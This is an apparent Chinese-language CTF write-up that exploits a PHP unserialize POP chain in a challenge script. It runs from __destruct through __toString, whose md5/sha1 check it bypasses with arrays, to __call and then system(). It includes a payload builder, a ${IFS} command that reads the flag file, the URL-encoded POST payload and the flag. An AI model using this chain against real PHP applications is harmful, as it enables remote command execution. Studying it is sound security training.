源码如下
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}
if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?');
} else {
highlight_file(__FILE__);
}
?>
分序列化分析
当我们POST传入data时会触发__unserialize()函数,此时GOGOGO对象销毁触发__destruct()函数该方法会强制将$dengchao转换为字符串,然后触发__toString该方法利用数组的哈希特性(md5([2])==md5([1])且[2]!=[1])绕过条件检查而调用 call_user_func_array($this->dao, ['诗人我吃!']);由于$this->dao包含HeiCaFei对象和无效方法名,触发HeiCaFei的__call()最终通过call_user_func_array($this->HongCaFei)将"cat${IFS}/ofl1111111111ove4g"作为参数执行system()系统命令,实现文件读取。
构造payload(大佬勿喷)
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}
if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?');
}
$gogogo = new GOGOGO();
$gogogo->dengchao = new DouBao();
$gogogo->dengchao->Bagongren = [1];
$gogogo->dengchao->Dagongren = [2];
$gogogo->dengchao->dao = [new HeiCaFei(), "cat\${IFS}/ofl1111111111ove4g"];
$gogogo->dengchao->dao[0]-> HongCaFei = "system";
$s = serialize([$gogogo, 114514]);
$s = str_replace("i:1;i:114514;", "i:0;i:114514;", $s);
echo urlencode($s);
?>
POST:data=a%3A2%3A%7Bi%3A0%3BO%3A6%3A%22GOGOGO%22%3A1%3A%7Bs%3A8%3A%22dengchao%22%3BO%3A6%3A%22DouBao%22%3A3%3A%7Bs%3A3%3A%22dao%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A8%3A%22HeiCaFei%22%3A1%3A%7Bs%3A9%3A%22HongCaFei%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A28%3A%22cat%24%7BIFS%7D%2Fofl1111111111ove4g%22%3B%7Ds%3A9%3A%22Dagongren%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7Ds%3A9%3A%22Bagongren%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7D%7Di%3A0%3Bi%3A114514%3B%7D
flag{3294a858-d5e8-427e-b1da-4b50671e09de}